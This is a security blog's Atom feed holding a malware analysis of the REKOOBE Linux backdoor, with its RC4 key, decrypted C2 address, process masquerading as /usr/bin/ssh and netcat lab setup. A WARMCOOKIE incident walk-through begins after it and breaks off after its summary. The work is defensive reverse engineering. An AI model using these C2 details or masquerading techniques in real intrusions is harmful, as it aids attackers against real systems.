<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://blog.techevo.uk/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.techevo.uk/" rel="alternate" type="text/html" /><updated>2026-07-20T21:00:03+00:00</updated><id>https://blog.techevo.uk/feed.xml</id><title type="html">TECHNICAL EVOLUTION</title><subtitle>Welcome to &apos;Technical Evolution&apos; – Evolving technical knowledge and trade craft.
</subtitle><author><name>techevo</name><email>simon at techevo dot uk</email></author><entry><title type="html">REKOOBE APT-31 Linux Backdoor Analysis</title><link href="https://blog.techevo.uk/analysis/linux/2024/11/30/rekoobe-apt31-linux-backdoor.html" rel="alternate" type="text/html" title="REKOOBE APT-31 Linux Backdoor Analysis" /><published>2024-11-30T00:00:00+00:00</published><updated>2024-11-30T00:00:00+00:00</updated><id>https://blog.techevo.uk/analysis/linux/2024/11/30/rekoobe-apt31-linux-backdoor</id><content type="html" xml:base="https://blog.techevo.uk/analysis/linux/2024/11/30/rekoobe-apt31-linux-backdoor.html"><![CDATA[<p>In this post I will be taking a look at a Linux backdoor known as <strong>REKOOBE</strong><sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup></p>

<p>Reporting suggests this and previous iterations have been used by APT-31 against a variety of victims.</p>

<p>This post will go over both static and dynamic analysis techniques, as well as provide some <em>primitive</em> scripts to automate extracting the C2 details.</p>

<p>The sample for this analysis can be found <a href="https://malshare.com/sample.php?action=detail&amp;hash=307359081e5f025009163dae77f132595e52114888c933d7c740dd22f4f888e2">here</a> and <a href="https://bazaar.abuse.ch/sample/307359081e5f025009163dae77f132595e52114888c933d7c740dd22f4f888e2/">here</a> with the SHA1: <code class="language-plaintext highlighter-rouge">23e0c1854c1a90e94cd1c427c201ecf879b2fa78</code>.</p>

<p>As with previous posts, it might be beneficial to follow along, and hopefully the post is structured in a way that makes that possible.</p>

<p>Output from commands and scripts used for this post can be found in this <a href="https://github.com/0xtechevo/rekoobe_blog_post">Github</a> repository.</p>

<hr />

<h2 id="static-analysis">Static Analysis</h2>

<p>The start of any analysis should be to verify what it is that needs analyzing.</p>

<p>Using the <code class="language-plaintext highlighter-rouge">file</code><sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> command, the output shows the target file is a dynamically linked 64-bit ELF executable.</p>

<p>This is a hopeful start as any imported functions should be visible to us, unless the sample is packed.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>file rekoobe.elf
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rekoobe.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
    interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, 
    BuildID[sha1]=025ab2845d244964abc35fb2cffadf388408fa14, stripped
</code></pre></div></div>

<p>One additional take-away from the file output is the “GNU/Linux” version that is referenced: <code class="language-plaintext highlighter-rouge">2.6.18</code>.</p>

<p>Whilst compiling code on modern compilers will generally result in older versions being targeted for compatibility reasons, this version is well beyond expected values.</p>

<p>There are at least two reasons for this:</p>

<p>1) The binary was compiled on a very old Linux system.</p>

<p>2) The binary is designed to be deployed on potentially very old Linux systems.</p>

<p>For reference, version 2.6.10 of the Linux kernel was released in 2006<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup></p>

<p>The output of the <code class="language-plaintext highlighter-rouge">strings</code> command also hints this sample was compiled using a version of GCC from 2012<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>strings rekoobe.elf
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-4)
...
</code></pre></div></div>

<p>Before wading into the depths of functions, reviewing the required shared libraries shows that anything imported is pretty standard. No additional functionality in custom shared libraries as is sometimes the case with Windows malware.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>readelf -d rekoobe.elf
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Dynamic section at offset 0x14028 contains 23 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libutil.so.1]
 0x0000000000000001 (NEEDED)             Shared library: [librt.so.1]
 0x0000000000000001 (NEEDED)             Shared library: [libpthread.so.0]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
...
</code></pre></div></div>

<p>I have radare2<sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup> installed so will be making use of various tools from the framework.
You do <strong>not</strong> have to use the same tools, any tools for interrogating ELF files should work fine.</p>

<p>Using <code class="language-plaintext highlighter-rouge">rabin2</code> to list the <em>imports</em>, shows that this sample makes use of the <code class="language-plaintext highlighter-rouge">execv</code> function, which allows execution of arbitrary system commands.</p>

<p>The output below is truncated, the full output can be viewed <a href="https://raw.githubusercontent.com/0xtechevo/rekoobe_blog_post/refs/heads/main/output/rekoobe_imports.out">here</a>.</p>

<p>In addition to <code class="language-plaintext highlighter-rouge">execv</code>, the output also showed <code class="language-plaintext highlighter-rouge">execl</code>, <code class="language-plaintext highlighter-rouge">recv</code>, <code class="language-plaintext highlighter-rouge">setsockopt</code>, <code class="language-plaintext highlighter-rouge">bind</code>, and <code class="language-plaintext highlighter-rouge">openpty</code>, which all seem a little suspicious. These functions resemble the basis for a backdoor, and certainly should raise some eyebrows.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rabin2 -i rekoobe.elf
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x00401790 GLOBAL FUNC       daemon
2   0x004017a0 GLOBAL FUNC       chmod
3   0x004017b0 GLOBAL FUNC       dup2
4   0x004017c0 GLOBAL FUNC       execv
5   0x004017d0 GLOBAL FUNC       memset
6   0x004017e0 GLOBAL FUNC       setsid
7   0x004017f0 GLOBAL FUNC       shutdown
...
</code></pre></div></div>

<p>You shouldn’t take my word for it either!</p>

<p>Rather than going through every imported function and reading the documentation, Capa<sup id="fnref:6" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">6</a></sup> provides a nice way to scan for functionality of binaries.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./capa ./rekoobe.elf
</code></pre></div></div>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/capa_output.png" />
</div>
<p><em>Figure 1: Capa output for Rekoobe sample.</em></p>

<p>The output in <em>Figure 1</em> shows <strong>Remote Access::Reverse Shell</strong>, which pretty much sums it up, case closed.</p>

<p>The Capa output shows that there are references to RC4 and AES encryption routines, which might be interesting to take a look into.
The full output from Capa can be found <a href="https://raw.githubusercontent.com/0xtechevo/rekoobe_blog_post/refs/heads/main/output/capa.out">here</a>.</p>

<p>Let’s start exploring the binary in a disassembler.</p>

<p>The <code class="language-plaintext highlighter-rouge">main</code> symbol is exported so should be quickly identifiable in other tools such as Ghidra<sup id="fnref:7" role="doc-noteref"><a href="#fn:7" class="footnote" rel="footnote">7</a></sup> or IDA.</p>

<p>The following command will <strong>p</strong>rint <strong>d</strong>issasembly located at the <code class="language-plaintext highlighter-rouge">main</code> <strong>f</strong>unction.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r2 -AA -q -c 'pdf @ main;' rekoobe.elf
</code></pre></div></div>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/radare2_main_pdf.png" />
</div>
<p><em>Figure 2: Radare2 main routine.</em></p>

<p>The output shows that the process first calls the imported symbol <code class="language-plaintext highlighter-rouge">daemon</code>, allowing the execution to continue in the background. A function labeled <code class="language-plaintext highlighter-rouge">fcn.00404568</code> is called, and the return value in <code class="language-plaintext highlighter-rouge">EAX</code> is checked before calling another function labeled <code class="language-plaintext highlighter-rouge">fcn.00404415</code>.</p>

<h3 id="static-analysis-fcn00404568">Static Analysis: fcn.00404568</h3>

<p>Starting with <code class="language-plaintext highlighter-rouge">fcn.00404568</code> the command below prints the first 27 instructions of the function.
Why 27? Because it looked nice in the screen shot.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r2 -AA -q -c 'pd 27 @ fcn.00404568' rekoobe.elf
</code></pre></div></div>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/radare2_00404568.png" />
</div>
<p><em>Figure 3: Radare2 fcn.00404568 disassembly.</em></p>

<p><br /></p>

<p>Starting at <code class="language-plaintext highlighter-rouge">0x0040459c</code>, there is a sequence of 8 <code class="language-plaintext highlighter-rouge">mov byte</code> instructions.
The 8 bytes are ASCII characters depicted as shown:</p>

<p>The <code class="language-plaintext highlighter-rouge">\0</code> (NULL) byte terminates the character array.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x72 = r
0x30 = 0
0x73 = s
0x74 = t
0x40 = @
0x23 = #
0x24 = $
0x00 = '\0' 
</code></pre></div></div>

<p>Following the <code class="language-plaintext highlighter-rouge">mov byte</code> instructions there is then a value comparison with a byte located at <code class="language-plaintext highlighter-rouge">0x00614740</code> located in the <code class="language-plaintext highlighter-rouge">.data</code> section of the ELF file.</p>

<p>If the value is set to <code class="language-plaintext highlighter-rouge">0</code>, then the <code class="language-plaintext highlighter-rouge">je</code>, jumps to the end of the function before returning.</p>

<p>This value turns out to be quite important later on…
<br /></p>

<p>The Capa output told us there was stack strings in use, and this is one of them.
At this stage it is not important <em>what</em> this string is used for, however if there are more, it would be nice to recover them.</p>

<p>I created a script to recover these strings, which you can view <a href="https://github.com/0xtechevo/rekoobe_blog_post/blob/main/scripts/recover_stack_strings.py">here</a>
The output shown is truncated. A copy of the full output can be viewed <a href="https://raw.githubusercontent.com/0xtechevo/rekoobe_blog_post/refs/heads/main/output/stack_strings.out">here</a></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 ./recover_stack_strings.py ./rekoobe.elf
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>%02x
%02X
r0st@#$
/etc//etc/issue.net
/etc/issue
/proc/ve/etc/issue.net
/etc/issue
/proc/version
r.
/
.
/
%s/%s
.
..
rb
a+b
a+b
/usr/usr/include/sdfwex.h
/tmp/.l
...
</code></pre></div></div>

<p>Whilst the output is far from perfect and not production ready, you can see it located the <code class="language-plaintext highlighter-rouge">r0st@#$</code> string correctly, as well as some interesting file paths.</p>

<p>Continuing on, a WORD (2 bytes) is read from <code class="language-plaintext highlighter-rouge">0x00614741</code> into <code class="language-plaintext highlighter-rouge">EDX</code> with the value of <code class="language-plaintext highlighter-rouge">12</code>.</p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/radare2_004045668_size.png" />
</div>
<p><em>Figure 4: Radare2 size parameter read.</em></p>

<p>Zooming out, shows the use of this parameter more clearly.</p>

<p>A memory address <code class="language-plaintext highlighter-rouge">0x614743</code> is stored into <code class="language-plaintext highlighter-rouge">ESI</code>, before both are passed into <code class="language-plaintext highlighter-rouge">memcpy</code>, to copy <strong>12</strong> bytes from the location stored in <code class="language-plaintext highlighter-rouge">ESI</code> into a buffer labeled <code class="language-plaintext highlighter-rouge">s1</code>.</p>

<p>After the <code class="language-plaintext highlighter-rouge">memcpy</code> function returns the stack string we recovered earlier located at <code class="language-plaintext highlighter-rouge">[var_1860h]</code>, the value <strong>12</strong> and the address of the <code class="language-plaintext highlighter-rouge">s1</code> buffer as passed to a function called <code class="language-plaintext highlighter-rouge">fcn.00402af9</code>.</p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/radare2_00404568_string_transform.png" />
</div>
<p><em>Figure 5: Radare2 string operations.</em></p>

<h3 id="static-analysis-fcn00402af9">Static Analysis: fcn.00402af9</h3>

<p>The functionality of <code class="language-plaintext highlighter-rouge">fcn.00402af9</code> is an implementation of the RC4<sup id="fnref:9" role="doc-noteref"><a href="#fn:9" class="footnote" rel="footnote">8</a></sup> cipher.</p>

<p>The parameters passed to <code class="language-plaintext highlighter-rouge">fcn.00402af9</code>, are shown in the function prototype.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>void fcn.00402af9(
  char    *buffer,
  int64_t length,
  char    *key
)
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">buffer</code> contains the ciphered data on input, and on output contains the original clear-text data.</p>

<p>The length contains the length of the data stored in the buffer, as <code class="language-plaintext highlighter-rouge">\0</code> (NULL) bytes will not be used to terminate the data.</p>

<p>Finally, the <code class="language-plaintext highlighter-rouge">key</code>, in this <code class="language-plaintext highlighter-rouge">call</code> is the <code class="language-plaintext highlighter-rouge">r0st@#$</code> string.</p>

<p>We can quickly test this out taking the various inputs and using the RC4 CyberChef recipe.</p>

<p>First extract the 12 input bytes from <code class="language-plaintext highlighter-rouge">0x614743.</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r2 -AA -q -c 'px0 12 @ 0x614743' rekoobe.elf
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>553c5fffec8a52c936c8d902
</code></pre></div></div>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/cyberchef_rc4_decrypt.png" />
</div>
<p><em>Figure 6: CyberChef RC4</em></p>

<p><br /></p>

<p>As the RC4 code was its own function, we can find cross-references to this routine to locate more values being decrypted that might be useful in later analysis.</p>

<p>The <code class="language-plaintext highlighter-rouge">axt</code> command shows there are 10 calls to this RC4 function, which are worthy of further exploration.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r2 -AA -q -c 'axt @ 0x00402af9;' rekoobe.elf
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fcn.0040225c 0x4022d3 [CALL:--x] call fcn.00402af9
fcn.00404568 0x40461f [CALL:--x] call fcn.00402af9
fcn.00404b27 0x404dc8 [CALL:--x] call fcn.00402af9
fcn.00404b27 0x404ea4 [CALL:--x] call fcn.00402af9
fcn.00404f06 0x405130 [CALL:--x] call fcn.00402af9
fcn.00404f06 0x40525d [CALL:--x] call fcn.00402af9
fcn.0040ba91 0x40bad4 [CALL:--x] call fcn.00402af9
fcn.0040ba91 0x40bb10 [CALL:--x] call fcn.00402af9
fcn.0040bbe3 0x40bc5e [CALL:--x] call fcn.00402af9
fcn.0040bbe3 0x40bcf2 [CALL:--x] call fcn.00402af9
</code></pre></div></div>

<h3 id="static-analysis-fcn00404568-continued">Static Analysis: fcn.00404568 (continued)</h3>

<p>Returning (pun intended) back to <code class="language-plaintext highlighter-rouge">fcn.00404568</code>, we now have a decrypted string:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/ssh
</code></pre></div></div>

<p><em>Figure 6</em> shows a call to <code class="language-plaintext highlighter-rouge">strcpy</code> (<code class="language-plaintext highlighter-rouge">0x0040467f</code>), which shows the value stored in <code class="language-plaintext highlighter-rouge">RBP</code> moved into <code class="language-plaintext highlighter-rouge">RSI</code> as the source of the string copy operation. The screen shot shows that <code class="language-plaintext highlighter-rouge">RBP</code> contains the buffer address used to decrypt the string using the RC4 decryption routine.</p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/radare2_visual_mode_argv_rename.png" />
</div>
<p><em>Figure 6: Radare2 string operations.</em></p>

<p><br /></p>

<p>Using the Ghidra plugin<sup id="fnref:10" role="doc-noteref"><a href="#fn:10" class="footnote" rel="footnote">9</a></sup> for Radare2 with the command <code class="language-plaintext highlighter-rouge">pdga</code>, <em>Figure 7</em> shows the destination more clearly, as <code class="language-plaintext highlighter-rouge">*param_1</code>.</p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/radare2_ghidra_strcpy_argv.png" />
</div>
<p><em>Figure 7: Radare2 Ghidra disassemble .</em></p>

<p>Going back to see what was passed into this function shown in <em>Figure 8</em>, we see from <code class="language-plaintext highlighter-rouge">main</code> that <code class="language-plaintext highlighter-rouge">argv</code> is the only parameter supplied (<code class="language-plaintext highlighter-rouge">0x00404971</code>).</p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/radare2_call_00404568.png" />
</div>
<p><em>Figure 8: Radare2 call fcn.00404568 .</em></p>

<p>Overwriting <code class="language-plaintext highlighter-rouge">argv</code> will for all intents and purposes alter the process name, allowing the process to avoid detection. When executed, this process will appear to be named <code class="language-plaintext highlighter-rouge">/usr/bin/ssh</code>, when commands such as <code class="language-plaintext highlighter-rouge">ps</code> and <code class="language-plaintext highlighter-rouge">top</code> are used to inspect the system.</p>

<p>This function contains more capabilities to copy and rename itself based on the value that is checked, however in this sample, it returns to <code class="language-plaintext highlighter-rouge">main</code> setting the return code to <code class="language-plaintext highlighter-rouge">1</code> which allows execution to continue into <code class="language-plaintext highlighter-rouge">fcn.00404415</code> shown in <em>Figure 8</em>.</p>

<h3 id="static-analysis-fcn0040225c">Static Analysis: fcn.0040225c</h3>

<p>From the <code class="language-plaintext highlighter-rouge">main</code> function, <code class="language-plaintext highlighter-rouge">fcn.00404415</code> is called which performs some value checks before calling <code class="language-plaintext highlighter-rouge">fcn.0040225c</code>.</p>

<p>The start of the function builds the same stack string <code class="language-plaintext highlighter-rouge">r0st@#$</code> as previously seen, and calls the same RC4 wrapper. The input length is stored at <code class="language-plaintext highlighter-rouge">0x6144e0</code> and contains decimal <strong>42</strong>.</p>

<p>The 42 bytes of input is located at <code class="language-plaintext highlighter-rouge">0x6144e2</code>, again in the <code class="language-plaintext highlighter-rouge">.data</code> section.</p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/radare2_0040225c_decrypt_config.png" />
</div>
<p><em>Figure 9: Radare2 decrypt configuration.</em></p>

<p><br />
The following command will extract the hexadecimal stream to be decrypted.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r2 -AA -q -c 'px0 42 @ 0x6144e2' rekoobe.elf
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>42671ebcfbc60295378a98593b13a7e9721f03aac47781891b5f10926882a5239c6d961129b3d32ca620
</code></pre></div></div>

<p>Using the same CyberChef recipe as before, it shows an IPv4 address and port, as well as some binary flag values.</p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/cyberchef_rc4_decrypt_config.png" />
</div>
<p><em>Figure 10: CyberChef decrypt configuration.</em></p>

<p>There are 4 sections in this configuration, delimited by <code class="language-plaintext highlighter-rouge">|</code> values. 
These sections are identified using the <code class="language-plaintext highlighter-rouge">strstr</code> function by the malware.</p>

<p>Configurations options are then further split using <code class="language-plaintext highlighter-rouge">;</code>, before being parsed using <code class="language-plaintext highlighter-rouge">strtol</code> to convert the string values “1” to a long integer.</p>

<h3 id="static-analysis-fcn00401db4">Static Analysis: fcn.00401db4</h3>

<p>Before heading into some dynamic analysis, I thought it was worth highlighting the function <code class="language-plaintext highlighter-rouge">fcn.00401db4</code>.</p>

<p>The script to recover the stack strings highlighted some interesting file paths common on Linux systems.
This function is where they reside and it responsible for collecting information regarding the infected system.</p>

<p>The stack strings, reveal the following file paths:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/issue.net</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/issue</code></li>
  <li><code class="language-plaintext highlighter-rouge">/proc/version</code></li>
</ul>

<p>First <code class="language-plaintext highlighter-rouge">/etc/issue.net</code> is passed to <code class="language-plaintext highlighter-rouge">fopen</code> and if that fails then <code class="language-plaintext highlighter-rouge">/etc/issue</code> is opened.
The procfs file <code class="language-plaintext highlighter-rouge">/proc/version</code> is opened and <code class="language-plaintext highlighter-rouge">strstr</code> us used to locate the value <code class="language-plaintext highlighter-rouge">x86_64</code>, which determines the host architecture.</p>

<p>A call to <code class="language-plaintext highlighter-rouge">gethostname</code> is fairly self explanatory, gathering the hostname.</p>

<p>A call to <code class="language-plaintext highlighter-rouge">getifaddrs</code> returns a structure containing a linked-list, which is traversed gathering the IP address from each network interface.</p>

<h2 id="dynamic-analysis">Dynamic Analysis</h2>

<p>From the static analysis, the command and control IPv4 was determined.
Unfortunately at the time of analysis no response on the provided port was returned.</p>

<p>To see how the sample would have interacted with the server, we need to provide a route to the IP address: <code class="language-plaintext highlighter-rouge">8.218.92[.]123</code>.</p>

<p>This can be achieved using the <code class="language-plaintext highlighter-rouge">lo</code> loopback interface as shown.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo ip addr add 8.218.92[.]123 dev lo
</code></pre></div></div>

<p>Once the IP address has been added, a <code class="language-plaintext highlighter-rouge">nc</code> netcat listener can be setup on the required port.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc -l -p 9987 &gt; output.bin
</code></pre></div></div>

<p>Using the <code class="language-plaintext highlighter-rouge">ltrace</code><sup id="fnref:11" role="doc-noteref"><a href="#fn:11" class="footnote" rel="footnote">10</a></sup> program, it is possible to trace the library calls of this dynamically linked executable, saving the output into the <code class="language-plaintext highlighter-rouge">ltrace.out</code> file. A copy of the full output can be found <a href="https://raw.githubusercontent.com/0xtechevo/rekoobe_blog_post/refs/heads/main/output/ltrace.out">here</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ltrace -fbS -o ltrace.out ./rekoobe.elf
</code></pre></div></div>

<p><em>Figure 11</em> shows the output of <code class="language-plaintext highlighter-rouge">ltrace</code> revealing the configuration strings.</p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/ltrace_config_decryption.png" />
</div>
<p><em>Figure 11: ltrace decrypt configuration.</em></p>

<p><br /></p>

<p><em>Figure 12</em> shows the various files being opened to gather information regarding the host.
It also shows a call to the <code class="language-plaintext highlighter-rouge">socket</code> and <code class="language-plaintext highlighter-rouge">bind</code> functions, indicating a listing port being established.</p>

<p><br /></p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/ltrace_recon_network.png" />
</div>
<p><em>Figure 12: ltrace decrypt configuration.</em></p>

<p><br /></p>

<p>The dynamic analysis confirms the findings from the static analysis.</p>

<p>In a slightly modified lab setup, I was able to capture the network communications between the malware and the C2 server.</p>

<p>The PCAP file is available <a href="https://github.com/0xtechevo/rekoobe_blog_post/blob/main/output/rekoobe_pcap.zip">here</a>, and shows that 548 bytes were sent over the TCP socket. The data in both directions is binary data, rather than encapsulated in HTTP.</p>

<h2 id="configuration-extraction">Configuration Extraction</h2>

<p>From the analysis performed, both the process name and configuration string were stored in the <code class="language-plaintext highlighter-rouge">.data</code> section.</p>

<p>Using <code class="language-plaintext highlighter-rouge">radare2</code>, locating the <code class="language-plaintext highlighter-rouge">.data</code> virtual address, and printing the hexdump shows the encrypted strings.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>iS~.data
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s 0x006144c0
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pxs 810
</code></pre></div></div>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/malware/rekoobe/radare2_data_section_hex.png" />
</div>
<p><em>Figure 13: Radare2 .data section hex dump.</em></p>

<p>Using this information, I have developed a configuration extractor which can be found <a href="https://github.com/0xtechevo/rekoobe_blog_post/blob/main/scripts/rekoobe_config.py">here</a></p>

<p>Executing the script, and providing the RC4 key outputs JSON document containing the C2 details.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 ./rekoobe_config.py rekoobe.elf r0st@#$
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
    "c2": "8.218.92.123:9987",
    "flags": {
        "unknown_0": 1,
        "unknown_1": 1,
        "unknown_2": 1,
        "unknown_3": 1,
        "unknown_4": 1,
        "unknown_5": 1,
        "unknown_6": 1
    },
    "hours": "00-24",
    "process_change": 1,
    "process_name": "/usr/bin/ssh",
    "unknown": 1
}
</code></pre></div></div>

<h2 id="conclusion">Conclusion</h2>

<p>In this post we have explored the initial workings of the <strong>REKOOBE</strong> backdoor, identifying how the command and control details are retrieved and shown a Python script to extract the details.</p>

<p>There is more to this sample, however the internals of this backdoor have been researched in prior work. 
Some notable research from <a href="https://asec.ahnlab.com/en/55229/">AhnLab</a> and <a href="https://hunt.io/blog/rekoobe-backdoor-discovered-in-open-directory-possibly-targeting-tradingview-users">hunt.io</a> among others.</p>

<p>If you enjoyed reading or learnt something new, let me know!</p>

<p>You can find me on <a href="https://x.com/techevo_">Twitter</a> (currently known as X) as well as <a href="https://bsky.app/profile/techevo.bsky.social">BlueSky</a>.</p>

<p>Until next time, keep evolving.</p>

<p><a href="https://bsky.app/profile/techevo.bsky.social">techevo</a></p>

<hr />

<h2 id="references">References</h2>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe">https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p><a href="https://linux.die.net/man/1/file">https://linux.die.net/man/1/file</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p><a href="https://kernelnewbies.org/Linux_2_6_18">https://kernelnewbies.org/Linux_2_6_18</a> <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p><a href="https://gcc.gnu.org/gcc-4.4/">https://gcc.gnu.org/gcc-4.4/</a> <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5" role="doc-endnote">
      <p><a href="https://rada.re/n/">https://rada.re/n/</a> <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:6" role="doc-endnote">
      <p><a href="https://linux.die.net/man/3/execv">https://linux.die.net/man/3/execv</a> <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:7" role="doc-endnote">
      <p><a href="https://github.com/mandiant/capa">https://github.com/mandiant/capa</a> <a href="#fnref:7" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:9" role="doc-endnote">
      <p><a href="https://en.wikipedia.org/wiki/RC4">https://en.wikipedia.org/wiki/RC4</a> <a href="#fnref:9" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:10" role="doc-endnote">
      <p><a href="https://github.com/radareorg/r2ghidra">https://github.com/radareorg/r2ghidra</a> <a href="#fnref:10" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:11" role="doc-endnote">
      <p><a href="https://man7.org/linux/man-pages/man1/ltrace.1.html">https://man7.org/linux/man-pages/man1/ltrace.1.html</a> <a href="#fnref:11" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>techevo</name><email>simon at techevo dot uk</email></author><category term="analysis" /><category term="linux" /><category term="rekoobe" /><category term="apt" /><category term="backdoor" /><category term="ioc" /><category term="pcap" /><category term="network" /><category term="linux" /><category term="elf" /><category term="ltrace" /><category term="radare2" /><summary type="html"><![CDATA[In this post I will be taking a look at a Linux backdoor known as REKOOBE1 https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe &#8617;]]></summary></entry><entry><title type="html">WARMCOOKIE Incident Walk-Through</title><link href="https://blog.techevo.uk/analysis/network/2024/09/24/warmcookie-incident-walk-through.html" rel="alternate" type="text/html" title="WARMCOOKIE Incident Walk-Through" /><published>2024-09-24T00:00:00+00:00</published><updated>2024-09-24T00:00:00+00:00</updated><id>https://blog.techevo.uk/analysis/network/2024/09/24/warmcookie-incident-walk-through</id><content type="html" xml:base="https://blog.techevo.uk/analysis/network/2024/09/24/warmcookie-incident-walk-through.html"><![CDATA[<p>This walk-through will be dissecting a <strong>WARMCOOKIE</strong> infection chain from the perspective of a network packet capture and Suricata alerts.
The various artefacts for this incident are kindly provided by <a href="https://infosec.exchange/@malware_traffic">@malware_traffic</a> and located at <a href="https://www.malware-traffic-analysis.net/2024/08/15/index.html">malware-traffic-analysis.net</a>.</p>

<p>As with previous posts, so grab the PCAP and follow along!
<br /></p>

<hr />

<h2 id="summary">Summary</h2>

<p>For those that want to shortcut the process, here is a brief summary and details of TTP’s mapped to the MITRE ATT&amp;CK<sup>®</sup> Framework.</p>

<ul>
  <li>A zip archive containing a JavaScript file was downloaded by the user using a web browser.</li>
  <li>Executing the JavaScript file downloaded a second stage DLL file.</li>
  <li>The DLL is executed and a HTTP command and control channel is established.</li>
  <li>Regular beaconing of HTTP requests are then seen to the C2 IPv4 address <code class="language-plaintext highlighter-rouge">72.5.43[.]29</code>.</li>
</ul>

